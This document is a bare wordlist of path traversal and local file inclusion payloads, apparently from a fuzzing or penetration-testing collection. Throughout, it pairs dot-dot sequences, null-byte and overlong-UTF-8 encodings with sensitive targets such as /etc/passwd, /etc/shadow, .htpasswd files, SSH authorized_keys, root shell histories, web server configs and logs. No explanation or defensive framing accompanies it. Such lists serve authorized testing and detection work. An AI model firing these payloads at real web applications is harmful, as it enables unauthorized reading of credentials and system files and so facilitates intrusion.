..//..//..//..//..//boot.ini
|
||||
../../../../../../../../../../../../boot.ini
|
||||
../../boot.ini
|
||||
..\../..\../..\../..\../boot.ini
|
||||
..\../..\../boot.ini
|
||||
..\..\..\..\..\..\..\..\..\..\boot.ini
|
||||
\..\..\..\..\..\..\..\..\..\..\boot.ini
|
||||
/../../../../../../../../../../../boot.ini%00
|
||||
../../../../../../../../../../../../boot.ini%00
|
||||
..\..\..\..\..\..\..\..\..\..\boot.ini%00
|
||||
/../../../../../../../../../../../boot.ini%00.html
|
||||
/../../../../../../../../../../../boot.ini%00.jpg
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
||||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
||||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
|
||||
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
|
||||
c:\apache\logs\access.log
|
||||
c:\apache\logs\error.log
|
||||
c:\AppServ\MySQL
|
||||
C:/boot.ini
|
||||
C:\boot.ini
|
||||
/C:/inetpub/ftproot/
|
||||
C:/inetpub/wwwroot/global.asa
|
||||
C:\inetpub\wwwroot\global.asa
|
||||
c:\inetpub\wwwroot\index.asp
|
||||
/config.asp
|
||||
../config.asp
|
||||
config.asp
|
||||
../config.inc.php
|
||||
config.inc.php
|
||||
../config.js
|
||||
config.js
|
||||
_config.php
|
||||
../_config.php
|
||||
../config.php
|
||||
config.php
|
||||
../_config.php%00
|
||||
../../../../../../../../conf/server.xml
|
||||
/core/config.php
|
||||
/C:\Program Files\
|
||||
c:\Program Files\Apache Group\Apache\logs\access.log
|
||||
c:\Program Files\Apache Group\Apache\logs\error.log
|
||||
/.cshrc
|
||||
c:\System32\Inetsrv\metabase.xml
|
||||
c:WINDOWS/system32/
|
||||
d:\AppServ\MySQL
|
||||
database.asp
|
||||
database.js
|
||||
database.php
|
||||
data.php
|
||||
dbase.php a
|
||||
db.php
|
||||
../../../../../../../dev
|
||||
/D:\Program Files\
|
||||
d:\System32\Inetsrv\metabase.xml
|
||||
/etc/apache2/apache2.conf
|
||||
/etc/apache2/conf/httpd.conf
|
||||
/etc/apache2/httpd.conf
|
||||
/etc/apache2/sites-available/default
|
||||
/etc/apache2/vhosts.d/default_vhost.include
|
||||
/etc/apache/apache.conf
|
||||
/etc/apache/conf/httpd.conf
|
||||
/etc/apache/httpd.conf
|
||||
/etc/apt/sources.list
|
||||
/etc/chrootUsers
|
||||
/etc/crontab
|
||||
/etc/defaultdomain
|
||||
/etc/default/passwd
|
||||
/etc/defaultrouter
|
||||
/etc/fstab
|
||||
/etc/ftpchroot
|
||||
/etc/ftphosts
|
||||
/etc/group
|
||||
/etc/hostname.bge
|
||||
/etc/hostname.ce0
|
||||
/etc/hostname.ce1
|
||||
/etc/hostname.ce2
|
||||
/etc/hostname.ce3
|
||||
/etc/hostname.dcelx0
|
||||
/etc/hostname.dcelx1
|
||||
/etc/hostname.dcelx2
|
||||
/etc/hostname.dcelx3
|
||||
/etc/hostname.dmfe0
|
||||
/etc/hostname.dmfe1
|
||||
/etc/hostname.dmfe2
|
||||
/etc/hostname.dmfe3
|
||||
/etc/hostname.dnet0
|
||||
/etc/hostname.dnet1
|
||||
/etc/hostname.dnet2
|
||||
/etc/hostname.dnet3
|
||||
/etc/hostname.ecn0
|
||||
/etc/hostname.ecn1
|
||||
/etc/hostname.ecn2
|
||||
/etc/hostname.ecn3
|
||||
/etc/hostname.elx0
|
||||
/etc/hostname.elx1
|
||||
/etc/hostname.elx2
|
||||
/etc/hostname.elx3
|
||||
/etc/hostname.elxl0
|
||||
/etc/hostname.elxl1
|
||||
/etc/hostname.elxl2
|
||||
/etc/hostname.elxl3
|
||||
/etc/hostname.eri0
|
||||
/etc/hostname.eri1
|
||||
/etc/hostname.eri2
|
||||
/etc/hostname.eri3
|
||||
/etc/hostname.ge0
|
||||
/etc/hostname.ge1
|
||||
/etc/hostname.ge2
|
||||
/etc/hostname.ge3
|
||||
/etc/hostname.hme0
|
||||
/etc/hostname.hme1
|
||||
/etc/hostname.hme2
|
||||
/etc/hostname.hme3
|
||||
/etc/hostname.ieef0
|
||||
/etc/hostname.ieef1
|
||||
/etc/hostname.ieef2
|
||||
/etc/hostname.ieef3
|
||||
/etc/hostname.iprb0
|
||||
/etc/hostname.iprb1
|
||||
/etc/hostname.iprb2
|
||||
/etc/hostname.iprb3
|
||||
/etc/hostname.le0
|
||||
/etc/hostname.le1
|
||||
/etc/hostname.le2
|
||||
/etc/hostname.le3
|
||||
/etc/hostname.lo
|
||||
/etc/hostname.pcn0
|
||||
/etc/hostname.pcn1
|
||||
/etc/hostname.pcn2
|
||||
/etc/hostname.pcn3
|
||||
/etc/hostname.qfe0
|
||||
/etc/hostname.qfe1
|
||||
/etc/hostname.qfe2
|
||||
/etc/hostname.qfe3
|
||||
/etc/hostname.spwr0
|
||||
/etc/hostname.spwr1
|
||||
/etc/hostname.spwr2
|
||||
/etc/hostname.spwr3
|
||||
/etc/hosts
|
||||
../../../../../../../../../../../../etc/hosts
|
||||
../../../../../../../../../../../../etc/hosts%00
|
||||
/etc/hosts.allow
|
||||
/etc/hosts.deny
|
||||
/etc/hosts.equiv
|
||||
/etc/http/conf/httpd.conf
|
||||
/etc/httpd.conf
|
||||
/etc/httpd/conf.d/php.conf
|
||||
/etc/httpd/conf.d/squirrelmail.conf
|
||||
/etc/httpd/conf.d/ssl.conf
|
||||
/etc/httpd/conf/httpd.conf
|
||||
/etc/httpd/httpd.conf
|
||||
/etc/httpd/logs/acces_log
|
||||
/etc/httpd/logs/acces.log
|
||||
../../../../../../../etc/httpd/logs/acces_log
|
||||
../../../../../../../etc/httpd/logs/acces.log
|
||||
/etc/httpd/logs/access_log
|
||||
/etc/httpd/logs/access.log
|
||||
../../../../../etc/httpd/logs/access_log
|
||||
../../../../../etc/httpd/logs/access.log
|
||||
/etc/httpd/logs/error_log
|
||||
/etc/httpd/logs/error.log
|
||||
../../../../../../../etc/httpd/logs/error_log
|
||||
../../../../../../../etc/httpd/logs/error.log
|
||||
../../../../../etc/httpd/logs/error_log
|
||||
../../../../../etc/httpd/logs/error.log
|
||||
/etc/httpd/php.ini
|
||||
/etc/http/httpd.conf
|
||||
/etc/inetd.conf
|
||||
/etc/init.d/apache
|
||||
/etc/init.d/apache2
|
||||
/etc/issue
|
||||
/etc/logrotate.d/ftp
|
||||
/etc/logrotate.d/httpd
|
||||
/etc/logrotate.d/proftpd
|
||||
/etc/logrotate.d/vsftpd.log
|
||||
/etc/mail/access
|
||||
/etc/mailman/mm_cfg.py
|
||||
/etc/make.conf
|
||||
/etc/master.passwd
|
||||
/etc/motd
|
||||
/etc/my.cnf
|
||||
/etc/mysql/my.cnf
|
||||
/etc/netconfig
|
||||
/etc/nsswitch.conf
|
||||
/etc/opt/ipf/ipf.conf
|
||||
/etc/opt/ipf/ipnat.conf
|
||||
/./././././././././././etc/passwd
|
||||
/../../../../../../../../../../etc/passwd
|
||||
/../../../../../../../../../../etc/passwd^^
|
||||
/..\../..\../..\../..\../..\../..\../etc/passwd
|
||||
/etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../etc/passwd
|
||||
../../../../../../../../etc/passwd
|
||||
../../../../../../../etc/passwd
|
||||
../../../../../../etc/passwd
|
||||
../../../../../etc/passwd
|
||||
../../../../etc/passwd
|
||||
../../../etc/passwd
|
||||
../../etc/passwd
|
||||
../etc/passwd
|
||||
..\..\..\..\..\..\..\..\..\..\etc\passwd
|
||||
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\passwd
|
||||
etc/passwd
|
||||
/etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../etc/passwd%00
|
||||
../../../../../../../etc/passwd%00
|
||||
../../../../../../etc/passwd%00
|
||||
../../../../../etc/passwd%00
|
||||
../../../../etc/passwd%00
|
||||
../../../etc/passwd%00
|
||||
../../etc/passwd%00
|
||||
../etc/passwd%00
|
||||
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
|
||||
/../../../../../../../../../../../etc/passwd%00.html
|
||||
/../../../../../../../../../../../etc/passwd%00.jpg
|
||||
../../../../../../etc/passwd&=%3C%3C%3C%3C
|
||||
/etc/php4.4/fcgi/php.ini
|
||||
/etc/php4/apache2/php.ini
|
||||
/etc/php4/apache/php.ini
|
||||
/etc/php4/cgi/php.ini
|
||||
/etc/php5/apache2/php.ini
|
||||
/etc/php5/apache/php.ini
|
||||
/etc/php5/cgi/php.ini
|
||||
/etc/php/apache2/php.ini
|
||||
/etc/php/apache/php.ini
|
||||
/etc/php/cgi/php.ini
|
||||
/etc/php.d/dom.ini
|
||||
/etc/php.d/gd.ini
|
||||
/etc/php.d/imap.ini
|
||||
/etc/php.d/json.ini
|
||||
/etc/php.d/ldap.ini
|
||||
/etc/php.d/mbstring.ini
|
||||
/etc/php.d/mysqli.ini
|
||||
/etc/php.d/mysql.ini
|
||||
/etc/php.d/odbc.ini
|
||||
/etc/php.d/pdo.ini
|
||||
/etc/php.d/pdo_mysql.ini
|
||||
/etc/php.d/pdo_odbc.ini
|
||||
/etc/php.d/pdo_pgsql.ini
|
||||
/etc/php.d/pdo_sqlite.ini
|
||||
/etc/php.d/pgsql.ini
|
||||
/etc/php.d/xmlreader.ini
|
||||
/etc/php.d/xmlwriter.ini
|
||||
/etc/php.d/xsl.ini
|
||||
/etc/php.d/zip.ini
|
||||
/etc/php.ini
|
||||
/etc/php/php4/php.ini
|
||||
/etc/php/php.ini
|
||||
/etc/postfix/mydomains
|
||||
/etc/proftp.conf
|
||||
/etc/proftpd/modules.conf
|
||||
/etc/protpd/proftpd.conf
|
||||
/etc/pure-ftpd.conf
|
||||
/etc/pureftpd.passwd
|
||||
/etc/pureftpd.pdb
|
||||
/etc/pure-ftpd/pure-ftpd.conf
|
||||
/etc/pure-ftpd/pure-ftpd.pdb
|
||||
/etc/pure-ftpd/pureftpd.pdb
|
||||
/etc/release
|
||||
/etc/resolv.conf
|
||||
/etc/rpc
|
||||
/etc/security/environ
|
||||
/etc/security/failedlogin
|
||||
/etc/security/group
|
||||
/etc/security/lastlog
|
||||
/etc/security/limits
|
||||
/etc/security/passwd
|
||||
/etc/security/user
|
||||
/./././././././././././etc/shadow
|
||||
/../../../../../../../../../../etc/shadow
|
||||
/../../../../../../../../../../etc/shadow^^
|
||||
/..\../..\../..\../..\../..\../..\../etc/shadow
|
||||
/etc/shadow
|
||||
../../../../../../../../../../../../etc/shadow
|
||||
..\..\..\..\..\..\..\..\..\..\etc\shadow
|
||||
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\shadow
|
||||
../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00
|
||||
../../../../../../../../../../../../etc/shadow%00
|
||||
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
|
||||
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
|
||||
etc/shadow%00
|
||||
/etc/ssh/sshd_config
|
||||
/etc/sudoers
|
||||
/etc/syslog.conf
|
||||
/etc/syslogd.conf
|
||||
/etc/system
|
||||
/etc/updatedb.conf
|
||||
/etc/utmp
|
||||
/etc/vfstab
|
||||
/etc/vhcs2/proftpd/proftpd.conf
|
||||
/etc/vsftpd.chroot_list
|
||||
/etc/vsftpd.conf
|
||||
/etc/vsftpd/vsftpd.conf
|
||||
/etc/wtmp
|
||||
/etc/wu-ftpd/ftpaccess
|
||||
/etc/wu-ftpd/ftphosts
|
||||
/etc/wu-ftpd/ftpusers
|
||||
/.forward
|
||||
/home2\bin\stable\apache\php.ini
|
||||
/home/apache/conf/httpd.conf
|
||||
/home/apache/httpd.conf
|
||||
/home\bin\stable\apache\php.ini
|
||||
/.htpasswd
|
||||
.htpasswd
|
||||
../.htpasswd
|
||||
../install.php
|
||||
install.php
|
||||
../../../../../../../../../../../../localstart.asp
|
||||
../../../../../../../../../../../../localstart.asp%00
|
||||
/log/miscDir/accesslog
|
||||
/.logout
|
||||
/logs/access_log
|
||||
/logs/access.log
|
||||
../../../../../logs/access.log
|
||||
../../../../logs/access.log
|
||||
../../../logs/access.log
|
||||
../../logs/access.log
|
||||
../logs/access.log
|
||||
/logs/error_log
|
||||
/logs/error.log
|
||||
../../../../../logs/error.log
|
||||
../../../../logs/error.log
|
||||
../../../logs/error.log
|
||||
../../logs/error.log
|
||||
../logs/error.log
|
||||
/logs/pure-ftpd.log
|
||||
/master.passwd
|
||||
member/.htpasswd
|
||||
members/.htpasswd
|
||||
/.netrc
|
||||
/NetServer\bin\stable\apache\php.ini
|
||||
/opt/apache2/conf/httpd.conf
|
||||
/opt/apache/conf/httpd.conf
|
||||
/opt/lampp/logs/access_log
|
||||
/opt/lampp/logs/access.log
|
||||
/opt/lampp/logs/error_log
|
||||
/opt/lampp/logs/error.log
|
||||
/opt/xampp/etc/php.ini
|
||||
/opt/xampp/logs/access_log
|
||||
/opt/xampp/logs/access.log
|
||||
/opt/xampp/logs/error_log
|
||||
/opt/xampp/logs/error.log
|
||||
.pass
|
||||
../.pass
|
||||
pass.dat
|
||||
passwd
|
||||
/.passwd
|
||||
.passwd
|
||||
../.passwd
|
||||
passwd.dat
|
||||
/php4\php.ini
|
||||
/php5\php.ini
|
||||
/php\php.ini
|
||||
/PHP\php.ini
|
||||
/private/etc/httpd/httpd.conf
|
||||
/private/etc/httpd/httpd.conf.default
|
||||
/proc/cpuinfo
|
||||
/proc/interrupts
|
||||
/proc/loadavg
|
||||
/proc/meminfo
|
||||
/proc/mounts
|
||||
/proc/net/arp
|
||||
/proc/net/dev
|
||||
/proc/net/route
|
||||
/proc/net/tcp
|
||||
/proc/partitions
|
||||
/proc/self/cmdline
|
||||
/proc/self/envron
|
||||
/proc/version
|
||||
/.profile
|
||||
/Program Files\Apache Group\Apache2\conf\httpd.conf
|
||||
/Program Files\Apache Group\Apache\conf\httpd.conf
|
||||
/Program Files\Apache Group\Apache\logs\access.log
|
||||
/Program Files\Apache Group\Apache\logs\error.log
|
||||
/Program Files\xampp\apache\conf\httpd.conf
|
||||
/../../../../pswd
|
||||
/.rhosts
|
||||
/root/.bash_history
|
||||
/root/.bash_logut
|
||||
root/.htpasswd
|
||||
/root/.ksh_history
|
||||
/root/.Xauthority
|
||||
/.sh_history
|
||||
/.shosts
|
||||
/.ssh/authorized_keys
|
||||
user/.htpasswd
|
||||
../users.db.php
|
||||
users.db.php
|
||||
users/.htpasswd
|
||||
/usr/apache2/conf/httpd.conf
|
||||
/usr/apache/conf/httpd.conf
|
||||
/usr/etc/pure-ftpd.conf
|
||||
/usr/lib/cron/log
|
||||
/usr/lib/php.ini
|
||||
/usr/lib/php/php.ini
|
||||
/usr/lib/security/mkuser.default
|
||||
/usr/local/apache2/conf/httpd.conf
|
||||
/usr/local/apache2/httpd.conf
|
||||
/usr/local/apache2/logs/access_log
|
||||
/usr/local/apache2/logs/access.log
|
||||
/usr/local/apache2/logs/error_log
|
||||
/usr/local/apache2/logs/error.log
|
||||
/usr/local/apache/conf/httpd.conf
|
||||
/usr/local/apache/conf/php.ini
|
||||
/usr/local/apache/httpd.conf
|
||||
/usr/local/apache/log
|
||||
/usr/local/apache/logs
|
||||
/usr/local/apache/logs/access_log
|
||||
/usr/local/apache/logs/access_ log
|
||||
/usr/local/apache/logs/access.log
|
||||
/usr/local/apache/logs/access. log
|
||||
../../../../../../../usr/local/apache/logs/access_ log
|
||||
../../../../../../../usr/local/apache/logs/access. log
|
||||
../../../../../usr/local/apache/logs/access_log
|
||||
../../../../../usr/local/apache/logs/access.log
|
||||
/usr/local/apache/logs/error_log
|
||||
/usr/local/apache/logs/error.log
|
||||
../../../../../../../usr/local/apache/logs/error_l og
|
||||
../../../../../../../usr/local/apache/logs/error.l og
|
||||
../../../../../usr/local/apache/logs/error_log
|
||||
../../../../../usr/local/apache/logs/error.log
|
||||
/usr/local/apps/apache2/conf/httpd.conf
|
||||
/usr/local/apps/apache/conf/httpd.conf
|
||||
/usr/local/cpanel/logs
|
||||
/usr/local/cpanel/logs/access_log
|
||||
/usr/local/cpanel/logs/error_log
|
||||
/usr/local/cpanel/logs/license_log
|
||||
/usr/local/cpanel/logs/login_log
|
||||
/usr/local/cpanel/logs/stats_log
|
||||
/usr/local/etc/apache2/conf/httpd.conf
|
||||
/usr/local/etc/apache/conf/httpd.conf
|
||||
/usr/local/etc/apache/vhosts.conf
|
||||
/usr/local/etc/httpd/conf/httpd.conf
|
||||
/usr/local/etc/httpd/logs/access_log
|
||||
/usr/local/etc/httpd/logs/error_log
|
||||
/usr/local/etc/php.ini
|
||||
/usr/local/etc/pure-ftpd.conf
|
||||
/usr/local/etc/pureftpd.pdb
|
||||
/usr/local/httpd/conf/httpd.conf
|
||||
/usr/local/lib/php.ini
|
||||
/usr/local/php4/httpd.conf
|
||||
/usr/local/php4/httpd.conf.php
|
||||
/usr/local/php4/lib/php.ini
|
||||
/usr/local/php5/httpd.conf
|
||||
/usr/local/php5/httpd.conf.php
|
||||
/usr/local/php5/lib/php.ini
|
||||
/usr/local/php/httpd.conf
|
||||
/usr/local/php/httpd.conf.php
|
||||
/usr/local/php/lib/php.ini
|
||||
/usr/local/pureftpd/etc/pure-ftpd.conf
|
||||
/usr/local/pureftpd/etc/pureftpd.pdb
|
||||
/usr/local/pureftpd/sbin/pure-config.pl
|
||||
/usr/local/www/logs/thttpd_log
|
||||
/usr/local/Zend/etc/php.ini
|
||||
/usr/pkgsrc/net/pureftpd/
|
||||
/usr/ports/contrib/pure-ftpd/
|
||||
/usr/ports/ftp/pure-ftpd/
|
||||
/usr/ports/net/pure-ftpd/
|
||||
/usr/sbin/pure-config.pl
|
||||
/usr/spool/lp/log
|
||||
/usr/spool/mqueue/syslog
|
||||
/var/adm
|
||||
/var/adm/acct/sum/loginlog
|
||||
/var/adm/aculog
|
||||
/var/adm/aculogs
|
||||
/var/adm/crash/unix
|
||||
/var/adm/crash/vmcore
|
||||
/var/adm/cron/log
|
||||
/var/adm/dtmp
|
||||
/var/adm/lastlog
|
||||
/var/adm/lastlog/username
|
||||
/var/adm/log/asppp.log
|
||||
/var/adm/loginlog
|
||||
/var/adm/log/xferlog
|
||||
/var/adm/lp/lpd-errs
|
||||
/var/adm/messages
|
||||
/var/adm/pacct
|
||||
/var/adm/qacct
|
||||
/var/adm/ras/bootlog
|
||||
/var/adm/ras/errlog
|
||||
/var/adm/sulog
|
||||
/var/adm/SYSLOG
|
||||
/var/adm/utmp
|
||||
/var/adm/utmpx
|
||||
/var/adm/vold.log
|
||||
/var/adm/wtmp
|
||||
/var/adm/wtmpx
|
||||
/var/adm/X0msgs
|
||||
/var/apache/log
|
||||
/var/apache/logs
|
||||
/var/apache/logs/access_log
|
||||
/var/apache/logs/error_log
|
||||
/var/cpanel/cpanel.config
|
||||
/var/cron/log
|
||||
/var/lib/mlocate/mlocate.db
|
||||
/var/lib/mysql/my.cnf
|
||||
/var/local/www/conf/php.ini
|
||||
/var/lock/samba
|
||||
/var/log
|
||||
/var/log/access_log
|
||||
/var/log/access.log
|
||||
../../../../../../../var/log/access_log
|
||||
../../../../../../../var/log/access.log
|
||||
../../../../../var/log/access_log
|
||||
/var/log/acct
|
||||
/var/log/apache2/access_log
|
||||
/var/log/apache2/access.log
|
||||
../../../../../../../var/log/apache2/access_log
|
||||
../../../../../../../var/log/apache2/access.log
|
||||
/var/log/apache2/error_log
|
||||
/var/log/apache2/error.log
|
||||
../../../../../../../var/log/apache2/error_log
|
||||
../../../../../../../var/log/apache2/error.log
|
||||
/var/log/apache/access_log
|
||||
/var/log/apache/access.log
|
||||
../../../../../../../var/log/apache/access_log
|
||||
../../../../../../../var/log/apache/access.log
|
||||
../../../../../var/log/apache/access_log
|
||||
../../../../../var/log/apache/access.log
|
||||
/var/log/apache/error_log
|
||||
/var/log/apache/error.log
|
||||
../../../../../../../var/log/apache/error_log
|
||||
../../../../../../../var/log/apache/error.log
|
||||
../../../../../var/log/apache/error_log
|
||||
../../../../../var/log/apache/error.log
|
||||
/var/log/apache-ssl/access.log
|
||||
/var/log/apache-ssl/error.log
|
||||
/var/log/auth
|
||||
/var/log/authlog
|
||||
/var/log/auth.log
|
||||
/var/log/boot.log
|
||||
/var/log/cron.log
|
||||
/var/log/dmesg
|
||||
/var/log/error_log
|
||||
/var/log/error.log
|
||||
../../../../../../../var/log/error_log
|
||||
../../../../../../../var/log/error.log
|
||||
../../../../../var/log/error_log
|
||||
/var/log/exim_mainlog
|
||||
/var/log/exim/mainlog
|
||||
/var/log/exim_paniclog
|
||||
/var/log/exim/paniclog
|
||||
/var/log/exim_rejectlog
|
||||
/var/log/exim/rejectlog
|
||||
/var/log/ftplog
|
||||
/var/log/ftp-proxy
|
||||
/var/log/ftp-proxy/ftp-proxy.log
|
||||
/var/log/httpd/
|
||||
/var/log/httpd/access_log
|
||||
/var/log/httpd/access.log
|
||||
../../../../../var/log/httpd/access_log
|
||||
/var/log/httpd/error_log
|
||||
/var/log/httpd/error.log
|
||||
../../../../../var/log/httpd/error_log
|
||||
/var/log/httpsd/ssl.access_log
|
||||
/var/log/httpsd/ssl_log
|
||||
/var/log/kern.log
|
||||
/var/log/lastlog
|
||||
/var/log/lighttpd
|
||||
/var/log/maillog
|
||||
/var/log/message
|
||||
/var/log/messages
|
||||
/var/log/mysqlderror.log
|
||||
/var/log/mysqld.log
|
||||
/var/log/mysql.log
|
||||
/var/log/mysql/mysql-bin.log
|
||||
/var/log/mysql/mysql.log
|
||||
/var/log/mysql/mysql-slow.log
|
||||
/var/log/ncftpd.errs
|
||||
/var/log/ncftpd/misclog.txt
|
||||
/var/log/news
|
||||
/var/log/news.all
|
||||
/var/log/news/news
|
||||
/var/log/news/news.all
|
||||
/var/log/news/news.crit
|
||||
/var/log/news/news.err
|
||||
/var/log/news/news.notice
|
||||
/var/log/news/suck.err
|
||||
/var/log/news/suck.notice
|
||||
/var/log/poplog
|
||||
/var/log/POPlog
|
||||
/var/log/proftpd
|
||||
/var/log/proftpd.access_log
|
||||
/var/log/proftpd.xferlog
|
||||
/var/log/proftpd/xferlog.legacy
|
||||
/var/log/pureftpd.log
|
||||
/var/log/pure-ftpd/pure-ftpd.log
|
||||
/var/log/qmail
|
||||
/var/log/qmail/
|
||||
/var/log/samba
|
||||
/var/log/samba-log.%m
|
||||
/var/log/secure
|
||||
/var/log/smtpd
|
||||
/var/log/spooler
|
||||
/var/log/syslog
|
||||
/var/log/telnetd
|
||||
/var/log/thttpd_log
|
||||
/var/log/utmp
|
||||
/var/log/vsftpd.log
|
||||
/var/log/wtmp
|
||||
/var/log/xferlog
|
||||
/var/log/yum.log
|
||||
/var/lp/logs/lpNet
|
||||
/var/lp/logs/lpsched
|
||||
/var/lp/logs/requests
|
||||
/var/mysql.log
|
||||
/var/run/httpd.pid
|
||||
/var/run/mysqld/mysqld.pid
|
||||
/var/run/utmp
|
||||
/var/saf/_log
|
||||
/var/saf/port/log
|
||||
/var/spool/errors
|
||||
/var/spool/locks
|
||||
/var/spool/logs
|
||||
/var/spool/tmp
|
||||
/var/www/conf/httpd.conf
|
||||
/var/www/html/.htaccess
|
||||
/var/www/localhost/htdocs/.htaccess
|
||||
/var/www/log/access_log
|
||||
/var/www/log/error_log
|
||||
/../../var/www/logs/access_log
|
||||
/var/www/logs/access_log
|
||||
/var/www/logs/access.log
|
||||
../../../../../../../var/www/logs/access_log
|
||||
../../../../../../../var/www/logs/access.log
|
||||
../../../../../var/www/logs/access.log
|
||||
/var/www/logs/error_log
|
||||
/var/www/logs/error.log
|
||||
../../../../../../../var/www/logs/error_log
|
||||
../../../../../../../var/www/logs/error.log
|
||||
../../../../../var/www/logs/error_log
|
||||
../../../../../var/www/logs/error.log
|
||||
/var/www/sitename/htdocs/
|
||||
/var/www/vhosts/sitename/httpdocs/.htaccess
|
||||
/var/www/web1/html/.htaccess
|
||||
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
|
||||
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
|
||||
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
|
||||
/Volumes/webBackup/opt/apache2/conf/httpd.conf
|
||||
/Volumes/webBackup/private/etc/httpd/httpd.conf
|
||||
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
|
||||
/web/conf/php.ini
|
||||
/WINDOWS\php.ini
|
||||
../../windows/win.ini
|
||||
/WINNT\php.ini
|
||||
/..\..\..\..\..\..\winnt\win.ini
|
||||
/www/logs/proftpd.system.log
|
||||
/xampp\apache\bin\php.ini
|
||||
/.Xauthority
|
||||
..2fapache2flogs2ferror.log
|
||||
..2fapache2flogs2faccess.log
|
||||
..2f..2fapache2flogs2ferror.log
|
||||
..2f..2fapache2flogs2faccess.log
|
||||
..2f..2f..2fapache2flogs2ferror.log
|
||||
..2f..2f..2fapache2flogs2faccess.log
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces_log
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces.log
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror_log
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess.log
|
||||
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess_ log
|
||||
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess. log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror.log
|
||||
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror_l og
|
||||
..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror.l og
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror.log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror_log
|
||||
..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror.log
|
||||
..2fetc2fpasswd
|
||||
..2fetc2fpasswd%00
|
||||
..2f..2fetc2fpasswd
|
||||
..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
